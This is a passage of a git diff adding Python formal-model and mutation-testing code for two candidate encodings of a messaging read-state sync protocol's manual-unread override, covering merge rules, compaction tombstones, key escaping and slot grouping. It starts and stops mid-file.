+    report("escape/unescape + no misparse", test_reserved_namespace_collision())
+
+    print("\n" + "=" * 60)
+    if total_violations == 0:
+        print("ALL INVARIANTS HOLD — 0 violations")
+    else:
+        print(f"VIOLATIONS: {total_violations}")
+    print("=" * 60)
+    return total_violations
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(0 if run_all() == 0 else 1)
diff --git a/docs/formal/nip-rs-unread/model.py b/docs/formal/nip-rs-unread/model.py
new file mode 100644
index 0000000000..4400280571
--- /dev/null
+++ b/docs/formal/nip-rs-unread/model.py
@@ -0,0 +1,492 @@
+"""Bounded exhaustive model comparing two NIP-RS manual-unread encodings.
+
+Candidate A: lexicographic operation register
+  Per context: {counter, client_tiebreak, op in {SET,CLEAR}, baseline}
+  in a NEW top-level field beside `contexts`.
+  Merge = max tuple (counter, tiebreak, op-rule on full tie).
+
+Candidate B: two grow-only counters + baseline
+  Per context: S (set counter), C (clear counter), B (frontier-at-set-time)
+  as sibling keys under `contexts` (ov_s:, ov_c:, ov_b: prefixes).
+  Action: own counter := max(S,C)+1; set also writes B := effective frontier.
+  Merge = componentwise max. Tie policy on S == C is a parameter.
+
+Both share:
+  - Frontier: grow-only max() per NIP-RS v1 (unchanged).
+  - Verdict: unread(ctx) = latest > effective_frontier(ctx) OR override_set(ctx).
+  - Mark-read = advance frontier + clear override.
+  - Mark-unread = set override with baseline B = current effective frontier.
+  - Natural frontier advance strictly past B dominates a stale set.
+
+Device simulators use overridable methods (_override_set, _compact, _merge_reg,
+_bump, _sanitize_value) so the mutation harness can inject weakened rules via
+subclassing without monkeypatching.
+"""
+from dataclasses import dataclass
+from typing import Optional
+
+
+SET = "SET"
+CLEAR = "CLEAR"
+
+
+# ---------------------------------------------------------------------------
+# Reserved key namespace + escaping
+#
+# NIP-RS v1 context IDs are arbitrary UTF-8 (spec :89, :113-114), so a
+# pre-existing opaque context could legitimately begin with `ov_s:`,
+# `ov_c:`, or `ov_b:` and collide with a control key for a DIFFERENT
+# context in the same flattened `contexts` map. `ov_` (the shared
+# 3-byte stem) and the escape marker itself are reserved; any raw
+# context ID that would collide is escaped before being used as a
+# plain frontier key. Escaping is a no-op for every context ID Buzz
+# actually generates (channel UUID, `msg:<hex64>`, `thread:<hex64>`
+# — none start with `ov_` or `esc:`), so the common case pays zero
+# bytes. Only a pathological ID pays the 4-byte `esc:` cost.
+#
+# This protects context IDs generated by amendment-aware clients.
+# It does NOT retroactively protect a context that a PRE-EXISTING
+# legacy client already published unescaped before the amendment
+# shipped — that residual hazard is documented, not solved (see
+# NOTE.md "Reserved key namespace").
+# ---------------------------------------------------------------------------
+
+ESCAPE_PREFIX = "esc:"
+_RESERVED_STEM = "ov_"
+
+
+def _needs_escape(raw_key: str) -> bool:
+    return raw_key.startswith(_RESERVED_STEM) or raw_key.startswith(ESCAPE_PREFIX)
+
+
+def escape_context_key(raw_key: str) -> str:
+    return ESCAPE_PREFIX + raw_key if _needs_escape(raw_key) else raw_key
+
+
+def unescape_context_key(wire_key: str) -> str:
+    if wire_key.startswith(ESCAPE_PREFIX):
+        return wire_key[len(ESCAPE_PREFIX):]
+    return wire_key
+
+
+# ---------------------------------------------------------------------------
+# Candidate B — two grow-only counters + baseline
+# ---------------------------------------------------------------------------
+
+@dataclass(frozen=True)
+class RegB:
+    s: int = 0
+    c: int = 0
+    b: int = 0
+
+
+def merge_reg_b(a: Optional[RegB], b: Optional[RegB]) -> Optional[RegB]:
+    if a is None:
+        return b
+    if b is None:
+        return a
+    return RegB(s=max(a.s, b.s), c=max(a.c, b.c), b=max(a.b, b.b))
+
+
+def override_set_b(reg: Optional[RegB], frontier_val: int, tie_policy=CLEAR) -> bool:
+    if reg is None:
+        return False
+    if frontier_val > reg.b and reg.s > 0:
+        return False
+    if reg.s > reg.c:
+        return True
+    if reg.s == reg.c and reg.s > 0:
+        return tie_policy == SET
+    return False
+
+
+def compact_b(reg: RegB, frontier_val: int, tie_policy=CLEAR) -> Optional[RegB]:
+    """Compact override state.
+
+    Tombstone-floor design: a register with any recorded counter
+    activity (S>0 or C>0) is never fully deleted. Its counter
+    high-water-mark is exactly what prevents a stale replica —
+    any (S,C) pair below that ceiling — from dominating a freshly
+    created register after compaction (delete-on-dominance made
+    counters reusable: a dead register dropped entirely, then a new
+    local set/clear pair restarted from S=0/C=0, so a delayed stale
+    peer snapshot with S>0 could out-rank the new state on replay).
+    Only a virgin register (S==0, C==0, no activity ever recorded)
+    has no ceiling to protect and compacts to None.
+
+    A live override (per `override_set_b`, which is already
+    policy-aware) is returned unchanged — compaction only touches dead
+    state. Dead overrides — whether dominated by C>S, tied under
+    clear-wins, or baseline-dominated by frontier advance — compact to
+    the clear-tombstone floor `RegB(s=0, c=max(S,C), b=0)`: S is
+    zeroed (no longer overriding), but C retains the ceiling so both a
+    future local bump (`max(S,C)+1`) and a componentwise-max merge with
+    any pre-compaction stale snapshot start strictly above the
+    historical maximum, never below it.
+    """
+    if reg.s == 0 and reg.c == 0:
+        return None
+    if override_set_b(reg, frontier_val, tie_policy):
+        return reg
+    return RegB(s=0, c=max(reg.s, reg.c), b=0)
+
+
+# ---------------------------------------------------------------------------
+# Candidate A — lexicographic operation register
+# ---------------------------------------------------------------------------
+
+@dataclass(frozen=True)
+class RegA:
+    counter: int = 0
+    tiebreak: str = ""
+    op: str = CLEAR
+    baseline: int = 0
+
+    def as_tuple(self, op_wins):
+        op_val = 1 if self.op == op_wins else 0
+        return (self.counter, self.tiebreak, op_val)
+
+
+def merge_reg_a(a: Optional[RegA], b: Optional[RegA], tie_op=CLEAR) -> Optional[RegA]:
+    if a is None:
+        return b
+    if b is None:
+        return a
+    at = a.as_tuple(tie_op)
+    bt = b.as_tuple(tie_op)
+    if at == bt:
+        return RegA(
+            counter=a.counter, tiebreak=a.tiebreak, op=a.op,
+            baseline=max(a.baseline, b.baseline),
+        )
+    return a if at > bt else b
+
+
+# ---------------------------------------------------------------------------
+# Device simulation — Candidate B
+# ---------------------------------------------------------------------------
+
+class DeviceB:
+    """Simulates one device's NIP-RS read-state blob with manual-unread
+    override layer (candidate B encoding).
+
+    All model operations go through overridable _methods so the mutation
+    harness can inject weakened rules via subclassing.
+    """
+
+    def __init__(self, client_id, is_legacy=False):
+        self.client_id = client_id
+        self.is_legacy = is_legacy
+        self.frontier = {}
+        self.overrides = {}
+
+    def effective_frontier(self, ctx):
+        return self.frontier.get(ctx, 0)
+
+    def _override_set(self, reg, frontier_val, tie_policy):
+        return override_set_b(reg, frontier_val, tie_policy)
+
+    def _compact(self, reg, frontier_val, tie_policy):
+        return compact_b(reg, frontier_val, tie_policy)
+
+    def _merge_reg(self, a, b):
+        return merge_reg_b(a, b)
+
+    def _bump(self, s, c):
+        return max(s, c) + 1
+
+    def _sanitize_value(self, v):
+        return isinstance(v, int) and 0 <= v <= 4294967295
+
+    def override_is_set(self, ctx, tie_policy=CLEAR):
+        return self._override_set(
+            self.overrides.get(ctx), self.effective_frontier(ctx), tie_policy
+        )
+
+    def verdict(self, ctx, latest_ts, tie_policy=CLEAR):
+        return (latest_ts > self.effective_frontier(ctx)
+                or self.override_is_set(ctx, tie_policy))
+
+    def do_mark_unread(self, ctx):
+        if self.is_legacy:
+            return
+        cur = self.overrides.get(ctx, RegB())
+        new_s = self._bump(cur.s, cur.c)
+        self.overrides[ctx] = RegB(s=new_s, c=cur.c, b=self.effective_frontier(ctx))
+
+    def do_mark_read(self, ctx, frontier_ts):
+        self.frontier[ctx] = max(self.frontier.get(ctx, 0), frontier_ts)
+        if not self.is_legacy:
+            cur = self.overrides.get(ctx, RegB())
+            new_c = self._bump(cur.s, cur.c)
+            self.overrides[ctx] = RegB(s=cur.s, c=new_c, b=cur.b)
+
+    def do_advance_frontier(self, ctx, ts):
+        self.frontier[ctx] = max(self.frontier.get(ctx, 0), ts)
+
+    def do_compact(self, ctx, tie_policy=CLEAR):
+        reg = self.overrides.get(ctx)
+        if reg is None:
+            return
+        result = self._compact(reg, self.effective_frontier(ctx), tie_policy)
+        if result is None:
+            if ctx in self.overrides:
+                del self.overrides[ctx]
+        else:
+            self.overrides[ctx] = result
+
+    def do_reinstall(self):
+        self.client_id = self.client_id + "_r"
+        self.frontier = {}
+        self.overrides = {}
+
+    def _canonicalize_for_publish(self, ctx, tie_policy):
+        """Canonical published form of `ctx`'s override register,
+        computed fresh against the current effective frontier —
+        independent of whether `do_compact` was ever called locally.
+        Returns `(is_live, canonical_reg)`; `canonical_reg is None`
+        means virgin (omit from the wire entirely). Reuses the same
+        overridable `_compact`/`_override_set` hooks `do_compact` uses,
+        so a mutation-harness subclass that weakens one weakens both
+        the storage-GC path and the publish path identically.
+        """
+        reg = self.overrides.get(ctx)
+        if reg is None:
+            return False, None
+        front = self.effective_frontier(ctx)
+        canonical = self._compact(reg, front, tie_policy)
+        if canonical is None:
+            return False, None
+        return self._override_set(canonical, front, tie_policy), canonical
+
+    def publish_blob(self, tie_policy=CLEAR):
+        """Serialize this device's read-state blob.
+
+        Every override is canonicalized at serialization time: live ->
+        unchanged (3 keys), dead -> tombstone floor (1 key, `ov_c:`
+        only), virgin -> omitted (0 keys). Canonical publication is a
+        protocol requirement, not an optimization — noncanonical wire
+        output is structurally impossible here, not merely avoided by
+        convention. `do_compact` remains a separate storage-GC
+        transition that mutates `self.overrides`; publication no
+        longer depends on it having been called first.
+
+        **Atomic slot-grouping rule (spec-amendment requirement):**
+        A context's frontier entry and ALL of its `ov_*` sibling entries
+        MUST travel in the same slot. `split_blob_into_slots` below
+        enforces this by round-robining per-context groups, never
+        per-entry. A receiving client that only holds part of a context
+        group and attempts to reconstruct a `RegB` from it would see
+        partial zeroes and might canonically re-publish a false
+        tombstone. Group atomicity makes partial reconstruction
+        structurally impossible from a compliant publisher's output.
+        """
+        blob_ctx = {escape_context_key(k): v for k, v in self.frontier.items()}
+        if not self.is_legacy:
+            for k in self.overrides:
+                is_live, canonical = self._canonicalize_for_publish(k, tie_policy)
+                if canonical is None:
+                    continue  # virgin: omitted from the wire entirely
+                if is_live:
+                    blob_ctx[f"ov_s:{k}"] = canonical.s
+                    blob_ctx[f"ov_c:{k}"] = canonical.c
+                    blob_ctx[f"ov_b:{k}"] = canonical.b
+                else:
+                    blob_ctx[f"ov_c:{k}"] = canonical.c  # tombstone: ceiling only
+        return {"v": 1, "client_id": self.client_id, "contexts": blob_ctx}
+
+    def split_blob_into_slots(self, tie_policy=CLEAR, n_slots=2):
+        """Split this device's blob into `n_slots` compliant slots.
+
+        **Atomic grouping rule:** a context's frontier entry and ALL of
+        its `ov_*` sibling entries travel together in the same slot.
+        Round-robin assignment is per-context group, never per-entry.
+        This matches production `splitContextsIntoBudgetedSlots` when
+        it is amended to group by context instead of by individual entry.
+
+        Returns a list of `n_slots` blobs, each with the same `v` and
+        `client_id` but a disjoint subset of context groups.
+        """
+        blob = self.publish_blob(tie_policy)
+        contexts = blob["contexts"]
+
+        # Gather per-context groups: each group is a list of (key, value) pairs.
+        # A "group" is: the frontier key (escaped ctx) + any ov_* siblings.
+        # Contexts that appear only as ov_* keys (no frontier entry) are
+        # also grouped together.
+        groups = {}  # logical_ctx -> list of (wire_key, value)
+        for wire_key, value in contexts.items():
+            if wire_key.startswith("ov_s:"):
+                ctx = wire_key[5:]
+            elif wire_key.startswith("ov_c:"):
+                ctx = wire_key[5:]
+            elif wire_key.startswith("ov_b:"):
+                ctx = wire_key[5:]
+            else:
+                # Frontier key: may be escaped (e.g. "esc:ov_s:evil").
+                # Derive the logical context ID by unescaping so this
+                # entry joins the same group as its ov_* siblings, which
+                # are keyed by the RAW context ID (e.g. "ov_s:evil" ->
+                # ctx = "evil", but "esc:ov_s:evil" frontier -> ctx =
+                # "ov_s:evil" after unescape).  Without this step an
+                # escaped frontier key and its ov_* siblings would be
+                # treated as two different groups, splitting the register
+                # across slots — reproducing the round-1 partial-
+                # reconstruction poison for escaped context IDs.
+                ctx = unescape_context_key(wire_key)
+            groups.setdefault(ctx, []).append((wire_key, value))
+
+        slots = [{"v": blob["v"], "client_id": blob["client_id"], "contexts": {}}
+                 for _ in range(n_slots)]
+        for i, (_ctx, pairs) in enumerate(sorted(groups.items())):
+            slot = slots[i % n_slots]
+            for wire_key, value in pairs:
+                slot["contexts"][wire_key] = value
+        return slots
+
+    def receive_merge(self, blob):
+        incoming_overrides = {}
+        for k, v in blob.get("contexts", {}).items():
+            if k.startswith("ov_s:"):
+                ctx = k[5:]
+                incoming_overrides.setdefault(ctx, [0, 0, 0])[0] = v
+            elif k.startswith("ov_c:"):
+                ctx = k[5:]
+                incoming_overrides.setdefault(ctx, [0, 0, 0])[1] = v
+            elif k.startswith("ov_b:"):
+                ctx = k[5:]
+                incoming_overrides.setdefault(ctx, [0, 0, 0])[2] = v
+            else:
+                ctx = unescape_context_key(k)
+                self.frontier[ctx] = max(self.frontier.get(ctx, 0), v)
+
+        if not self.is_legacy:
+            for ctx, (s, c, b) in incoming_overrides.items():
+                incoming_reg = RegB(s=s, c=c, b=b)
+                self.overrides[ctx] = self._merge_reg(
+                    self.overrides.get(ctx), incoming_reg
+                )
+
+    def legacy_sanitize_and_publish(self, tie_policy=CLEAR):
+        blob = self.publish_blob(tie_policy)
+        sanitized = {}
+        for k, v in blob["contexts"].items():
+            if len(k.encode("utf-8")) <= 256 and self._sanitize_value(v):
+                sanitized[k] = v
+        return {"v": 1, "client_id": self.client_id, "contexts": sanitized}
+
+    def state_key(self, contexts, tie_policy=CLEAR):
+        parts = []
+        for ctx in sorted(contexts):
+            f = self.effective_frontier(ctx)
+            reg = self.overrides.get(ctx, RegB())
+            ov = self.override_is_set(ctx, tie_policy)
+            parts.append((ctx, f, reg.s, reg.c, reg.b, ov))
+        return (self.client_id, self.is_legacy, tuple(parts))
+
+
+# ---------------------------------------------------------------------------
+# Device simulation — Candidate A
+# ---------------------------------------------------------------------------
+
+class DeviceA:
+    def __init__(self, client_id, is_legacy=False):
+        self.client_id = client_id
+        self.is_legacy = is_legacy
+        self.frontier = {}
+        self.overrides = {}
+        self.counter = 0
+
+    def effective_frontier(self, ctx):
+        return self.frontier.get(ctx, 0)
+
+    def override_is_set(self, ctx):
+        reg = self.overrides.get(ctx)
+        if reg is None or reg.op == CLEAR:
+            return False
+        if self.effective_frontier(ctx) > reg.baseline:
+            return False
+        return True
+
+    def verdict(self, ctx, latest_ts):
+        return latest_ts > self.effective_frontier(ctx) or self.override_is_set(ctx)
+
+    def do_mark_unread(self, ctx):
+        if self.is_legacy:
+            return
+        self.counter += 1
+        self.overrides[ctx] = RegA(
+            counter=self.counter, tiebreak=self.client_id,
+            op=SET, baseline=self.effective_frontier(ctx),
+        )
+
+    def do_mark_read(self, ctx, frontier_ts):
+        self.frontier[ctx] = max(self.frontier.get(ctx, 0), frontier_ts)
+        if not self.is_legacy:
+            self.counter += 1
+            self.overrides[ctx] = RegA(
+                counter=self.counter, tiebreak=self.client_id,
+                op=CLEAR, baseline=0,
+            )
+
+    def do_advance_frontier(self, ctx, ts):
+        self.frontier[ctx] = max(self.frontier.get(ctx, 0), ts)
+
+    def receive_merge(self, blob, tie_op=CLEAR):
+        for ctx, ts in blob.get("contexts", {}).items():
+            self.frontier[ctx] = max(self.frontier.get(ctx, 0), ts)
+        if not self.is_legacy:
+            for ctx, reg in blob.get("overrides", {}).items():
+                self.overrides[ctx] = merge_reg_a(
+                    self.overrides.get(ctx), reg, tie_op
+                )
+                if reg.counter > self.counter:
+                    self.counter = reg.counter
+
+    def publish_blob(self):
+        blob = {"v": 1, "client_id": self.client_id, "contexts": dict(self.frontier)}
+        if not self.is_legacy:
+            blob["overrides"] = dict(self.overrides)
+        return blob
+
+    def legacy_rewrite_and_publish(self):
+        return {"v": 1, "client_id": self.client_id, "contexts": dict(self.frontier)}
+
+
+# ---------------------------------------------------------------------------
+# Legacy pruning/trim model
+# ---------------------------------------------------------------------------
+
+def legacy_prune(contexts, horizon):
+    return {k: v for k, v in contexts.items()
+            if not (k.startswith("msg:") or k.startswith("thread:")) or v >= horizon}
+
+
+def legacy_trim(contexts, client_id, max_bytes=32768):
+    import json
+
+    def size(ctx):
+        return len(json.dumps({"v": 1, "client_id": client_id, "contexts": ctx}).encode())
+
+    if size(contexts) <= max_bytes:
+        return contexts, True
+    evictable = sorted(
+        ((k, v) for k, v in contexts.items()
+         if k.startswith("msg:") or k.startswith("thread:")),
+        key=lambda kv: kv[1],
+    )
+    out = dict(contexts)
+    for k, _ in evictable:
+        del out[k]
+        if size(out) <= max_bytes:
+            return out, True
+    return out, size(out) <= max_bytes
+
+
+def legacy_sanitize_blob(blob):
+    sanitized = {}
+    for k, v in blob.get("contexts", {}).items():
+        if (len(k.encode("utf-8")) <= 256
+                and isinstance(v, int) and 0 <= v <= 4294967295):
+            sanitized[k] = v
+    return {"v": 1, "client_id": blob.get("client_id", ""), "contexts": sanitized}
diff --git a/docs/formal/nip-rs-unread/mutation.py b/docs/formal/nip-rs-unread/mutation.py
new file mode 100644
index 0000000000..4450a99c8f
--- /dev/null
+++ b/docs/formal/nip-rs-unread/mutation.py
@@ -0,0 +1,519 @@
+"""Mutation harness for candidate B (two-counter) model.
+
+Each mutant: subclass DeviceB with a weakened rule, run the BFS explorer,
+require a recorded counterexample. A model that stays green under a real
+weakening is worthless.
+
+Mutants:
+  M1: drop baseline dominance (frontier > B no longer clears stale set)
+  M2: drop max(S,C)+1 bump (use S+1 or C+1 — counter can regress)
+  M3: flip tie policy (verify the model distinguishes them)
+  M4: revert to delete-on-dominance compaction (drops the tombstone floor
+      entirely instead of zeroing S and keeping max(S,C) as C) — reproduces
+      Thufir's pass-3 CRITICAL: stale-replay resurrection after counter reuse
+  M5: uint32 overflow bypass (legacy sanitization disabled)
+  M6: componentwise-max -> last-write-wins merge (convergence breaks)
+  M7: publish without canonicalization (serialize raw registers instead
+      of the compact-at-publish canonical form) — reproduces Thufir's
+      pass-1/2 CRITICAL: dead+dead merge resurrection
+  M8: revert split_blob_into_slots to per-entry splitting (violates the
+      atomic-grouping rule) — reproduces Thufir's pass-2/2 CRITICAL:
+      partial-slot reconstruction of a live RegB creates a false tombstone
+      that permanently suppresses the override after eventual full delivery
+  M9: revert split_blob_into_slots to escaped-key grouping (groups frontier
+      by wire key instead of unescaped logical ID) — reproduces Thufir's
+      round-2 CRITICAL: for a context whose raw ID starts with a reserved
+      prefix (e.g. "ov_s:evil"), the frontier's escaped wire key
+      ("esc:ov_s:evil") and the ov_* siblings (keyed by raw suffix "ov_s:evil")
+      resolve to different groups → register split across slots →
+      old/new slot-coordinate mixture produces partial reconstruction →
+      false tombstone → permanent false clear across publication cycles
+
+Each mutant is injected into the model via DeviceB subclass, then the
+explorer or invariant suite is rerun. The counterexample (first violation)
+is recorded and printed.
+"""
+from copy import deepcopy
+from model import (
+    RegB, merge_reg_b, override_set_b, compact_b,
+    DeviceB, legacy_sanitize_blob,
+    escape_context_key,
+    SET, CLEAR,
+)
+from exhaustive import (
+    explore_b, test_concurrent_stability,
+    test_compaction_register_exhaustive, test_deep_history_compaction,
+    test_published_merge_closure, test_interleaved_delivery_grouping,
+    test_escaped_context_slot_grouping,
+    CONTEXTS,
+)
+
+
+# ---------------------------------------------------------------------------
+# M1: drop baseline dominance
+# ---------------------------------------------------------------------------
+
+class M1_NoBaselineDominance(DeviceB):
+    def _override_set(self, reg, frontier_val, tie_policy):
+        if reg is None:
+            return False
+        if reg.s > reg.c:
+            return True
+        if reg.s == reg.c and reg.s > 0:
+            return tie_policy == SET
+        return False
+
+    def _compact(self, reg, frontier_val, tie_policy):
+        if reg.s == 0 and reg.c == 0:
+            return None
+        if self._override_set(reg, frontier_val, tie_policy):
+            return reg
+        if reg.c > reg.s:
+            return RegB(s=0, c=reg.c, b=0)
+        if reg.c == reg.s and tie_policy == CLEAR:
+            return RegB(s=0, c=reg.c, b=0)
+        return reg
+
+
+def mutant_m1():
+    """M1: without baseline dominance, a stale set persists after frontier
+    advance past baseline. Verify by constructing the scenario directly:
+    mark-unread at frontier=10, then advance frontier to 100. The correct
+    model clears the override; the mutant keeps it live."""
+    violations = []
+    for ctx in CONTEXTS:
+        dev = M1_NoBaselineDominance("d0")
+        dev.frontier[ctx] = 10
+        dev.do_mark_unread(ctx)
+        dev.do_advance_frontier(ctx, 100)
+
+        correct = override_set_b(dev.overrides[ctx], 100, CLEAR)
+        mutant_result = dev.override_is_set(ctx, CLEAR)
+
+        if correct != mutant_result:
+            violations.append((
+                "baseline-dominance-missing", ctx,
+                dev.overrides[ctx], 100,
+                f"correct={correct}", f"mutant={mutant_result}",
+            ))
+
+    if not violations:
+        _, violations = explore_b(max_depth=3, tie_policy=CLEAR,
+                                  device_cls=M1_NoBaselineDominance)
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# M2: drop max(S,C)+1 bump
+# ---------------------------------------------------------------------------
+
+class M2_NoBump(DeviceB):
+    """Each counter bumps only itself: mark_unread does S := S+1,
+    mark_read does C := C+1. When S > C from a prior set, a clear
+    at C+1 can produce C < S even though the clear is causally later."""
+    def do_mark_unread(self, ctx):
+        if self.is_legacy:
+            return
+        cur = self.overrides.get(ctx, RegB())
+        self.overrides[ctx] = RegB(s=cur.s + 1, c=cur.c,
+                                   b=self.effective_frontier(ctx))
+
+    def do_mark_read(self, ctx, frontier_ts):
+        self.frontier[ctx] = max(self.frontier.get(ctx, 0), frontier_ts)
+        if not self.is_legacy:
+            cur = self.overrides.get(ctx, RegB())
+            self.overrides[ctx] = RegB(s=cur.s, c=cur.c + 1, b=cur.b)
+
+
+def mutant_m2():
+    """M2: each counter bumps independently. After set→set→clear at
+    the SAME frontier (no advance past baseline): correct clear has
+    C=3 > S=2, mutant clear has C=1 < S=2 — a causally later clear
+    fails to dominate.
+
+    Use mark_read at the current frontier (not advancing past baseline)
+    so baseline dominance doesn't mask the counter discrepancy.
+    """
+    violations = []
+    for ctx in CONTEXTS:
+        front = 10
+        dev_correct = DeviceB("d0")
+        dev_correct.frontier[ctx] = front
+        dev_correct.do_mark_unread(ctx)
+        dev_correct.do_mark_unread(ctx)
+        dev_correct.do_mark_read(ctx, front)
+
+        dev_mutant = M2_NoBump("d0")
+        dev_mutant.frontier[ctx] = front
+        dev_mutant.do_mark_unread(ctx)
+        dev_mutant.do_mark_unread(ctx)
+        dev_mutant.do_mark_read(ctx, front)
+
+        correct_set = dev_correct.override_is_set(ctx, CLEAR)
+        mutant_set = dev_mutant.override_is_set(ctx, CLEAR)
+
+        if correct_set != mutant_set:
+            violations.append((
+                "bump-independent", ctx,
+                f"correct={dev_correct.overrides[ctx]}",
+                f"mutant={dev_mutant.overrides[ctx]}",
+                f"correct_set={correct_set}", f"mutant_set={mutant_set}",
+            ))
+
+    if not violations:
+        _, violations = explore_b(max_depth=4, tie_policy=CLEAR,
+                                  device_cls=M2_NoBump)
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# M3: tie policy distinguishable
+# ---------------------------------------------------------------------------
+
+def mutant_m3():
+    """M3: tie policy is load-bearing — S==C must produce different verdicts.
+    Not a DeviceB mutation; tests the model function directly."""
+    reg = RegB(s=1, c=1, b=10)
+    frontier = 10
+    v_clear = override_set_b(reg, frontier, CLEAR)
+    v_set = override_set_b(reg, frontier, SET)
+    if v_clear == v_set:
+        return []
+    return [("tie-distinguishable", v_clear, v_set, reg, frontier)]
+
+
+# ---------------------------------------------------------------------------
+# M4: revert to delete-on-dominance compaction (drops the tombstone floor)
+# ---------------------------------------------------------------------------
+
+class M4_DeleteOnDominance(DeviceB):
+    """The pre-fix compaction rule: any dead/dominated register is deleted
+    entirely rather than reduced to the tombstone floor RegB(0, max(S,C), 0).
+    This makes counters reusable — a later local set/clear pair restarts
+    from S=0/C=0, so a delayed stale peer snapshot can dominate it on
+    replay. This is exactly the rule Thufir's pass-3 CRITICAL found live
+    at e453b3945."""
+    def _compact(self, reg, frontier_val, tie_policy):
+        if reg.s == 0 and reg.c == 0:
+            return None
+        if self._override_set(reg, frontier_val, tie_policy):
+            return reg
+        if frontier_val > reg.b:
+            return None
+        if reg.c > reg.s:
+            return RegB(s=0, c=reg.c, b=0)
+        if reg.c == reg.s and tie_policy == CLEAR:
+            return RegB(s=0, c=reg.c, b=0)
+        return reg
+
+
+def mutant_m4():
+    """M4: without the tombstone floor, compaction deletes the counter
+    ceiling instead of preserving it. Reproduce Thufir's exact witness
+    directly: RegB(3,0,10) at frontier=20 compacts to None under the old
+    rule (vs. RegB(0,3,0) under the fix); a subsequent local set+clear
+    reuses counters from zero; the stale ancestor then replays and
+    resurrects (S>C) under both tie policies.
+
+    Then confirm the explorer/deep-history suite also catches it (defense
+    in depth — a mutant that only fails a hand-built scenario would still
+    be a real bug, but the directed check is what's supposed to catch this
+    class per T2/T3)."""
+    violations = []
+    stale = RegB(s=3, c=0, b=10)
+    frontier_after = 20
+
+    for tie_policy in (CLEAR, SET):
+        dev = M4_DeleteOnDominance("d0")
+        dev.frontier["c0"] = 10
+        dev.overrides["c0"] = stale
+        dev.do_advance_frontier("c0", frontier_after)
+        dev.do_compact("c0", tie_policy)
+        if "c0" in dev.overrides:
+            continue  # old rule didn't drop it here; not the witness shape
+
+        dev.do_mark_unread("c0")   # S := 1, B := 20
+        dev.do_mark_read("c0", frontier_after)  # C := 2
+
+        stale_blob = {"contexts": {"ov_s:c0": stale.s, "ov_c:c0": stale.c, "ov_b:c0": stale.b}}
+        dev.receive_merge(stale_blob)
+        resurrected = dev.override_is_set("c0", tie_policy)
+
+        if resurrected:
+            violations.append((
+                "M4-delete-on-dominance-resurrection", tie_policy,
+                f"stale_ancestor={stale}", f"post_compact_reuse=(set,clear)",
+                f"final_reg={dev.overrides['c0']}", f"override_is_set={resurrected}",
+            ))
+
+    if not violations:
+        _, violations = test_deep_history_compaction(device_cls=M4_DeleteOnDominance)
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# M5: uint32 overflow bypass
+# ---------------------------------------------------------------------------
+
+def mutant_m5():
+    """M5: values outside uint32 range must fail legacy sanitization."""
+    blob = {"v": 1, "client_id": "x", "contexts": {
+        "ov_s:c0": 4294967296,
+        "ov_c:c0": 0,
+        "ov_b:c0": 10,
+    }}
+    sanitized = legacy_sanitize_blob(blob)
+    if "ov_s:c0" in sanitized["contexts"]:
+        return []
+    return [("overflow-rejected", blob["contexts"]["ov_s:c0"],
+             sanitized["contexts"])]
+
+
+# ---------------------------------------------------------------------------
+# M6: last-write-wins merge (breaks convergence)
+# ---------------------------------------------------------------------------
+
+class M6_LastWriteWins(DeviceB):
+    def _merge_reg(self, a, b):
+        if a is None:
+            return b
+        if b is None:
+            return a
+        return b
+
+
+def mutant_m6():
+    """M6: replace componentwise max with last-write-wins. Convergence must
+    break — different delivery orders produce different final states."""
+    _, violations = explore_b(max_depth=3, tie_policy=CLEAR,
+                              device_cls=M6_LastWriteWins)
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# M7: publish without canonicalization (reproduces Thufir's pass-1/2
+# CRITICAL — dead+dead merge resurrection)
+# ---------------------------------------------------------------------------
+
+class M7_PublishWithoutCanonicalization(DeviceB):
+    """Reverts `publish_blob` to serialize raw, uncompacted registers —
+    the exact pre-fix behavior Thufir's pass-1/2 CRITICAL exploited:
+    a dead register's baseline-relative death (or clear-count-relative
+    death) never gets folded into a globally-comparable ceiling before
+    hitting the wire, so two individually-dead registers can
+    componentwise-max-merge into a live join."""
+    def publish_blob(self, tie_policy=CLEAR):
+        blob_ctx = {escape_context_key(k): v for k, v in self.frontier.items()}
+        if not self.is_legacy:
+            for k, reg in self.overrides.items():
+                blob_ctx[f"ov_s:{k}"] = reg.s
+                blob_ctx[f"ov_c:{k}"] = reg.c
+                blob_ctx[f"ov_b:{k}"] = reg.b
+        return {"v": 1, "client_id": self.client_id, "contexts": blob_ctx}
+
+
+def mutant_m7():
+    """M7: publish-without-canonicalization must be caught by the
+    published-state merge-closure invariant — proving that invariant
+    has teeth. Reproduce Thufir's exact witness directly first (fast,
+    deterministic); fall back to the full search if the hand-built
+    scenario doesn't trigger under a given tie policy."""
+    violations = []
+    for tie_policy in (CLEAR, SET):
+        dev_a = M7_PublishWithoutCanonicalization("a")
+        dev_a.frontier["c0"] = 50
+        dev_a.overrides["c0"] = RegB(s=3, c=2, b=0)
+        dev_b = M7_PublishWithoutCanonicalization("b")
+        dev_b.frontier["c0"] = 100
+        dev_b.overrides["c0"] = RegB(s=1, c=2, b=100)
+
+        blob_a = dev_a.publish_blob(tie_policy)
+        blob_b = dev_b.publish_blob(tie_policy)
+
+        for first, second in [(blob_a, blob_b), (blob_b, blob_a)]:
+            recv = M7_PublishWithoutCanonicalization("recv")
+            recv.receive_merge(first)
+            recv.receive_merge(second)
+            if recv.override_is_set("c0", tie_policy):
+                violations.append((
+                    "M7-publish-without-canonicalization-resurrection",
+                    tie_policy, blob_a, blob_b, recv.overrides["c0"],
+                ))
+
+    if not violations:
+        _, violations = test_published_merge_closure(
+            device_cls=M7_PublishWithoutCanonicalization
+        )
+    return violations
+
+
+# ---------------------------------------------------------------------------
+# M8: revert split_blob_into_slots to per-entry splitting
+# (violates the atomic-grouping rule — reproduces Thufir's pass-2/2 CRITICAL)
+# ---------------------------------------------------------------------------
+
+class M8_PerEntrySplit(DeviceB):
+    """Reverts `split_blob_into_slots` to a per-entry split that violates the
+    atomic-grouping rule by separating `ov_s:` + frontier from `ov_b:` + `ov_c:`.
+
+    This reproduces Thufir's exact transport witness:
+    - Slot 0: frontier key + `ov_s:` entry (the "partial set" slot)
+    - Slot 1: `ov_c:` + `ov_b:` entries
+
+    An observer receiving only slot 0 reconstructs `RegB(s=1, c=0, b=0)` at
+    `frontier=10`. Because `frontier(10) > b(0)`, the override is baseline-dead.
